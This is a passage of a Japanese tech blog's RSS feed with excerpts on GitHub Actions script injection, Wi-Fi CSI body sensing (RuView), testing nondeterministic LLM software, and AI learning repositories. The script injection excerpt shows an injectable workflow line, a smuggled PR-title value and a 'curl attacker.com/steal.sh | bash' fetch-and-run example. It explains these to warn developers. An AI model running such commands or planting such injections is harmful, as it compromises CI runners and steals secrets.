&lt;/div&gt;&lt;p&gt;API は &lt;code&gt;http://localhost:3100&lt;/code&gt; で起動し、組み込みの PostgreSQL データベースを使用する。要件は Node.js 20+ と pnpm 9.15+。&lt;/p&gt;</description></item><item><title>GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-actions-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92-run-%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E8%80%85%E3%81%AB%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%92%E6%B8%A1%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B/</link><pubDate>Fri, 06 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-actions-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92-run-%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E8%80%85%E3%81%AB%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%92%E6%B8%A1%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B/</guid><description>&lt;h1 id="github-actions-スクリプトインジェクション完全解説----を-run-に書いた瞬間攻撃者にシェルを渡している"&gt;GitHub Actions スクリプトインジェクション完全解説 — &lt;code&gt;${{ }}&lt;/code&gt; を &lt;code&gt;run&lt;/code&gt; に書いた瞬間、攻撃者にシェルを渡している&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/tmknom/status/2029512334218244121"&gt;『GitHub CI/CD実践ガイド』著者の tmknom 氏（@tmknom）&lt;/a&gt;が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用されている &lt;a href="https://zenn.dev/kou_pg_0131/articles/gha-script-injection"&gt;kou_pg_0131 氏の Zenn 記事&lt;/a&gt;は、GitHub Actions の &lt;code&gt;run&lt;/code&gt; ステップで &lt;code&gt;${{ }}&lt;/code&gt; テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。&lt;/p&gt;
&lt;h2 id="何が危険なのか--30秒で理解する"&gt;何が危険なのか — 30秒で理解する&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 危険なコード&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;run&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;echo &amp;#34;PR title is ${{ github.event.pull_request.title }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、&lt;strong&gt;任意のコマンドが実行&lt;/strong&gt;されます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;#34;; echo INJECTED&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;展開後のシェルコマンドは以下になります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;PR title is &amp;#34;&lt;/span&gt;; echo INJECTED&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;セミコロンでコマンドが分割され、&lt;code&gt;echo INJECTED&lt;/code&gt; が実行されます。&lt;code&gt;echo&lt;/code&gt; の代わりに &lt;code&gt;curl attacker.com/steal.sh | bash&lt;/code&gt; を書けば、CI/CD ランナー上で&lt;strong&gt;リバースシェルの確立、シークレットの窃取、リポジトリの改ざん&lt;/strong&gt;が可能です。&lt;/p&gt;</description></item><item><title>RuView × Wi-Fi電波で壁越し人体検知 — $48で心拍・姿勢を丸裸にする技術の実態</title><link>https://hdknr.github.io/blogs/posts/2026/03/ruview-wi-fi%E9%9B%BB%E6%B3%A2%E3%81%A7%E5%A3%81%E8%B6%8A%E3%81%97%E4%BA%BA%E4%BD%93%E6%A4%9C%E7%9F%A5-48%E3%81%A7%E5%BF%83%E6%8B%8D%E5%A7%BF%E5%8B%A2%E3%82%92%E4%B8%B8%E8%A3%B8%E3%81%AB%E3%81%99%E3%82%8B%E6%8A%80%E8%A1%93%E3%81%AE%E5%AE%9F%E6%85%8B/</link><pubDate>Fri, 06 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ruview-wi-fi%E9%9B%BB%E6%B3%A2%E3%81%A7%E5%A3%81%E8%B6%8A%E3%81%97%E4%BA%BA%E4%BD%93%E6%A4%9C%E7%9F%A5-48%E3%81%A7%E5%BF%83%E6%8B%8D%E5%A7%BF%E5%8B%A2%E3%82%92%E4%B8%B8%E8%A3%B8%E3%81%AB%E3%81%99%E3%82%8B%E6%8A%80%E8%A1%93%E3%81%AE%E5%AE%9F%E6%85%8B/</guid><description>&lt;h1 id="ruview--wi-fi電波で壁越し人体検知--48で心拍姿勢を丸裸にする技術の実態"&gt;RuView × Wi-Fi電波で壁越し人体検知 — $48で心拍・姿勢を丸裸にする技術の実態&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: カメラなし・$48のESP32だけで壁の向こうの人間の心拍・呼吸・骨格17点を検知できるとするオープンソースプロジェクト「RuView」がSNSで話題に。原理はCMU発の査読済み研究に基づく実在技術だが、「28.5kスター」の裏には再現性への疑義とCSIハードウェアの壁がある。煽りと科学を分離して整理する。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="話題の発端"&gt;話題の発端&lt;/h2&gt;
&lt;p&gt;@kosuke_agos氏のポスト（2026年3月5日、閲覧6.4万・ブックマーク456）が日本語圏で拡散。「市販Wi-Fiルーターだけで壁の向こう側の人間の心拍数や姿勢を完全に特定」「わずか48ドルで構築」という衝撃的な内容が注目を集めた。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/kosuke_agos/status/2029392193325285521"&gt;https://x.com/kosuke_agos/status/2029392193325285521&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="ruview-とは何か"&gt;RuView とは何か&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;RuView&lt;/strong&gt;（旧wifi-densepose）は、Wi-Fi信号のCSI（Channel State Information）を解析して、カメラなしで人体の姿勢推定・バイタルサイン検知を行うオープンソースプロジェクト。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;: &lt;a href="https://github.com/ruvnet/RuView"&gt;https://github.com/ruvnet/RuView&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スター&lt;/strong&gt;: 28.5k / フォーク: 3.7k&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ライセンス&lt;/strong&gt;: MIT&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装言語&lt;/strong&gt;: Rust（Python比810倍の処理速度を主張）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="主張されている性能"&gt;主張されている性能&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;スペック&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;骨格トラッキング&lt;/td&gt;
&lt;td&gt;17箇所のキーポイント&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;呼吸検知&lt;/td&gt;
&lt;td&gt;6-30 BPM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;心拍検知&lt;/td&gt;
&lt;td&gt;40-120 BPM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;処理速度&lt;/td&gt;
&lt;td&gt;54,000 fps（Rust実装）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;壁越し検知距離&lt;/td&gt;
&lt;td&gt;最大5m&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AIモデルサイズ&lt;/td&gt;
&lt;td&gt;55KB（エッジ実行可能）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ハードウェアコスト&lt;/td&gt;
&lt;td&gt;〜$48（ESP32-S3 × 4-6台）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="科学的な背景--cmudensepose-from-wifi"&gt;科学的な背景 — CMU「DensePose From WiFi」&lt;/h2&gt;
&lt;p&gt;RuView の理論的基盤は、カーネギーメロン大学（CMU）ロボティクス研究所が2022年に発表した査読済み論文「&lt;strong&gt;DensePose From WiFi&lt;/strong&gt;」（arXiv: 2301.00250）。&lt;/p&gt;
&lt;h3 id="論文の核心"&gt;論文の核心&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Wi-Fiの**CSI（チャネル状態情報）**は、空間内の物体・人体による電波の反射・回折・散乱を数値化したもの&lt;/li&gt;
&lt;li&gt;CSI信号を画像的な2D特徴マップに変換する&lt;strong&gt;エンコーダ・デコーダネットワーク&lt;/strong&gt;を構築&lt;/li&gt;
&lt;li&gt;修正版&lt;strong&gt;DensePose-RCNN&lt;/strong&gt;で、2D特徴から人体表面のUV座標を推定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;複数人の同時検知&lt;/strong&gt;が可能で、カメラベースのアプローチに匹敵する性能を達成&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;この研究は実在し、査読を通過しており、Wi-Fi CSI による人体検知という&lt;strong&gt;原理自体は「嘘」ではない&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="csi-の仕組み簡略版"&gt;CSI の仕組み（簡略版）&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Wi-Fi ルーター → 電波送信（OFDM: 52サブキャリア）
↓
人体が電波を反射・吸収・散乱
↓
ESP32 受信 → 各サブキャリアの振幅・位相変化を記録（= CSI）
↓
AI が CSI パターンから人体の姿勢・バイタルを推定
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;呼吸は胸部の周期的な膨張・収縮（6-30回/分）、心拍は胸壁の微小振動（40-120回/分）として、CSIの&lt;strong&gt;FFT（高速フーリエ変換）解析&lt;/strong&gt;で分離・抽出される。&lt;/p&gt;</description></item><item><title>「決定性のないソフトウェア」の設計と評価 × t_wada氏の視点とskill-creatorが実装したTDD→EDD移行パターン</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E6%B1%BA%E5%AE%9A%E6%80%A7%E3%81%AE%E3%81%AA%E3%81%84%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AE%E8%A8%AD%E8%A8%88%E3%81%A8%E8%A9%95%E4%BE%A1-t_wada%E6%B0%8F%E3%81%AE%E8%A6%96%E7%82%B9%E3%81%A8skill-creator%E3%81%8C%E5%AE%9F%E8%A3%85%E3%81%97%E3%81%9Ftddedd%E7%A7%BB%E8%A1%8C%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E6%B1%BA%E5%AE%9A%E6%80%A7%E3%81%AE%E3%81%AA%E3%81%84%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AE%E8%A8%AD%E8%A8%88%E3%81%A8%E8%A9%95%E4%BE%A1-t_wada%E6%B0%8F%E3%81%AE%E8%A6%96%E7%82%B9%E3%81%A8skill-creator%E3%81%8C%E5%AE%9F%E8%A3%85%E3%81%97%E3%81%9Ftddedd%E7%A7%BB%E8%A1%8C%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</guid><description>&lt;h1 id="決定性のないソフトウェアをどう設計し評価するか--t_wada-氏の視点と-skill-creator-が実装した答え"&gt;「決定性のないソフトウェア」をどう設計し評価するか &amp;mdash; t_wada 氏の視点と skill-creator が実装した答え&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/t_wada/status/2029390103462986212"&gt;和田卓人（@t_wada）氏が X で言及&lt;/a&gt;した、skill-creator の設計に関するコメントが注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;skill-creator いい感じで動作すると思っていたら中身がこのようになっていたのか。決定性のないソフトウェアをどう実践的に設計して評価するかといった観点でも参考になるエントリ。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;t_wada 氏は、テスト駆動開発（TDD）の日本における第一人者であり、Kent Beck 著『テスト駆動開発』の翻訳者、power-assert-js の作者として知られるプログラマです。その t_wada 氏が「決定性のないソフトウェアの設計と評価」という観点で skill-creator を評価しています。&lt;/p&gt;
&lt;p&gt;元記事は&lt;a href="https://nyosegawa.github.io/posts/skill-creator-and-orchestration-skill/"&gt;逆瀬川ちゃん氏のブログ「skill-creator から学ぶ Skill 設計と、Orchestration Skill の作り方」&lt;/a&gt;です。本記事では、t_wada 氏の指摘する「決定性のないソフトウェア」の設計問題に焦点を当て、skill-creator がどのような解を実装しているかを解説します。&lt;/p&gt;
&lt;h2 id="決定性のないソフトウェアとは何か"&gt;「決定性のないソフトウェア」とは何か&lt;/h2&gt;
&lt;h3 id="従来のソフトウェアとの違い"&gt;従来のソフトウェアとの違い&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;決定的ソフトウェア（従来）:
入力 A → 常に出力 X
入力 B → 常に出力 Y
→ 「2 + 2 = 4」を assert できる
非決定的ソフトウェア（LLM ベース）:
入力 A → 出力 X1, X2, X3...（毎回異なる）
入力 B → 出力 Y1, Y2, Y3...（毎回異なる）
→ 「正解」が一意に定まらない
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;LLM の出力は&lt;strong&gt;確率的&lt;/strong&gt;です。同じプロンプトを送っても、temperature やサンプリングの影響で異なる結果が返ります。従来の &lt;code&gt;assertEqual(expected, actual)&lt;/code&gt; というテスト手法が通用しない世界です。&lt;/p&gt;</description></item><item><title>AI/ML学習リポジトリ厳選10選 × スター総計12万超のキュレーション集を目的別に読み解く</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai/ml%E5%AD%A6%E7%BF%92%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E5%8E%B3%E9%81%B810%E9%81%B8-%E3%82%B9%E3%82%BF%E3%83%BC%E7%B7%8F%E8%A8%8812%E4%B8%87%E8%B6%85%E3%81%AE%E3%82%AD%E3%83%A5%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E9%9B%86%E3%82%92%E7%9B%AE%E7%9A%84%E5%88%A5%E3%81%AB%E8%AA%AD%E3%81%BF%E8%A7%A3%E3%81%8F/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai/ml%E5%AD%A6%E7%BF%92%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E5%8E%B3%E9%81%B810%E9%81%B8-%E3%82%B9%E3%82%BF%E3%83%BC%E7%B7%8F%E8%A8%8812%E4%B8%87%E8%B6%85%E3%81%AE%E3%82%AD%E3%83%A5%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E9%9B%86%E3%82%92%E7%9B%AE%E7%9A%84%E5%88%A5%E3%81%AB%E8%AA%AD%E3%81%BF%E8%A7%A3%E3%81%8F/</guid><description>&lt;h1 id="aiml-学習リポジトリ厳選-10-選--スター総計-12-万超のキュレーション集を目的別に読み解く"&gt;AI/ML 学習リポジトリ厳選 10 選 &amp;mdash; スター総計 12 万超のキュレーション集を目的別に読み解く&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/deronin_/status/2029158116005134828"&gt;@DeRonin_ 氏が X で投稿&lt;/a&gt;した、AI/ML 学習用 GitHub リポジトリのキュレーションが反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;List of THE BEST Github Repositories to learn AI and ML&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この投稿は 278 件のブックマークを集め、実務者が「手元に置きたいリスト」として支持されていることがわかります。本記事では、紹介された 10 リポジトリを&lt;strong&gt;目的別に分類&lt;/strong&gt;し、それぞれの特徴と使い分けを解説します。&lt;/p&gt;
&lt;h2 id="全-10-リポジトリ一覧"&gt;全 10 リポジトリ一覧&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;リポジトリ&lt;/th&gt;
&lt;th&gt;スター&lt;/th&gt;
&lt;th&gt;主な内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/SkalskiP/courses"&gt;SkalskiP/courses&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;6.4k&lt;/td&gt;
&lt;td&gt;AI コースのキュレーション集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/owainlewis/awesome-artificial-intelligence"&gt;owainlewis/awesome-artificial-intelligence&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;10k+&lt;/td&gt;
&lt;td&gt;AI システム構築のリソース集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/Yorko/mlcourse.ai"&gt;Yorko/mlcourse.ai&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;OpenDataScience の ML コース&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/tirthajyoti/Papers-Literature-ML-DL-RL-AI"&gt;tirthajyoti/Papers-Literature-ML-DL-RL-AI&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;論文・文献・書籍のカタログ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/dair-ai/ML-YouTube-Courses"&gt;dair-ai/ML-YouTube-Courses&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;17.1k&lt;/td&gt;
&lt;td&gt;YouTube ML コースのインデックス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/dair-ai/Prompt-Engineering-Guide"&gt;dair-ai/Prompt-Engineering-Guide&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;71.1k&lt;/td&gt;
&lt;td&gt;プロンプトエンジニアリングガイド&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/armankhondker/awesome-ai-ml-resources"&gt;armankhondker/awesome-ai-ml-resources&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;ML/AI 学習ロードマップ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/nivu/ai_all_resources"&gt;nivu/ai_all_resources&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;数学から DL まで網羅的リソース集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/aishwaryanr/awesome-generative-ai-guide"&gt;aishwaryanr/awesome-generative-ai-guide&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;25.1k&lt;/td&gt;
&lt;td&gt;生成 AI 特化のハブ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/break-into-data/ai-engineer-toolkit"&gt;break-into-data/ai-engineer-toolkit&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;2.1k&lt;/td&gt;
&lt;td&gt;AI エンジニア向けツールキット&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="目的別分類"&gt;目的別分類&lt;/h2&gt;
&lt;p&gt;10 リポジトリは大きく 4 つのカテゴリに分けられます。&lt;/p&gt;</description></item><item><title>gen-ai-experiments × 130超の生成AIアプリを「動かして学ぶ」LangChain・RAG・エージェント実践集</title><link>https://hdknr.github.io/blogs/posts/2026/03/gen-ai-experiments-130%E8%B6%85%E3%81%AE%E7%94%9F%E6%88%90ai%E3%82%A2%E3%83%97%E3%83%AA%E3%82%92%E5%8B%95%E3%81%8B%E3%81%97%E3%81%A6%E5%AD%A6%E3%81%B6langchainrag%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%AE%9F%E8%B7%B5%E9%9B%86/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/gen-ai-experiments-130%E8%B6%85%E3%81%AE%E7%94%9F%E6%88%90ai%E3%82%A2%E3%83%97%E3%83%AA%E3%82%92%E5%8B%95%E3%81%8B%E3%81%97%E3%81%A6%E5%AD%A6%E3%81%B6langchainrag%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%AE%9F%E8%B7%B5%E9%9B%86/</guid><description>&lt;h1 id="130-超の生成-ai-アプリを動かして学ぶ-gen-ai-experiments-リポジトリ完全ガイド"&gt;130 超の生成 AI アプリを「動かして学ぶ」&amp;mdash; gen-ai-experiments リポジトリ完全ガイド&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/alifcoder/status/2028974471391146371"&gt;@alifcoder 氏が X で紹介&lt;/a&gt;した、生成 AI の実践的学習リポジトリが注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Collection of 130+ production-ready Gen AI apps, agents, and experiments. Built with LangChain, RAG, AI Agents, Multi-Agent Teams, and more.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/buildfastwithai/gen-ai-experiments"&gt;buildfastwithai/gen-ai-experiments&lt;/a&gt; は、&lt;strong&gt;130 を超える本番レベルの生成 AI アプリケーション、エージェント、実験プロジェクト&lt;/strong&gt;を Jupyter ノートブック形式で集めたリポジトリです。LangChain、RAG、AI エージェント、マルチエージェントシステムなど、2024-2026 年の主要な AI 技術スタックを網羅しています。&lt;/p&gt;
&lt;p&gt;本記事では、このリポジトリの構成と活用法、類似リソースとの比較、そして「動かして学ぶ」アプローチの価値を解説します。&lt;/p&gt;
&lt;h2 id="なぜ動かして学ぶが重要なのか"&gt;なぜ「動かして学ぶ」が重要なのか&lt;/h2&gt;
&lt;h3 id="ドキュメントだけでは身につかない"&gt;ドキュメントだけでは身につかない&lt;/h3&gt;
&lt;p&gt;生成 AI の学習には特有の難しさがあります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;生成 AI 学習の 3 つの壁:
1. API の組み合わせの壁:
LLM API 単体は簡単。だが RAG、エージェント、
ツール連携を組み合わせると複雑度が指数的に増加
2. プロンプト設計の壁:
「動くプロンプト」と「良いプロンプト」の差は
ドキュメントでは伝わらない。実行して出力を見るしかない
3. 本番品質の壁:
デモレベルと本番レベルの間にある
エラーハンドリング、レート制限、コスト管理の知識
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;gen-ai-experiments は、これらの壁を&lt;strong&gt;動くコード&lt;/strong&gt;で越えるアプローチを取っています。631 の Jupyter ノートブックがあり、セルを 1 つずつ実行しながら各技術の仕組みを体験できます。&lt;/p&gt;</description></item><item><title>GitHub Actionsスクリプトインジェクション完全解説 — ${{ }}をrunに書いた瞬間、攻撃が始まる</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-actions%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92run%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E3%81%8C%E5%A7%8B%E3%81%BE%E3%82%8B/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-actions%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92run%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E3%81%8C%E5%A7%8B%E3%81%BE%E3%82%8B/</guid><description>&lt;h1 id="github-actions-スクリプトインジェクション完全解説----を-run-に書いた瞬間攻撃が始まる"&gt;GitHub Actions スクリプトインジェクション完全解説 — &lt;code&gt;${{ }}&lt;/code&gt; を run に書いた瞬間、攻撃が始まる&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/koki_develop/status/2029339007013073368"&gt;@koki_develop 氏のポスト&lt;/a&gt;で紹介された Zenn 記事が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;書きました。GitHub Actions 触る人は全員知っておいてほしい&lt;/p&gt;
&lt;/blockquote&gt;
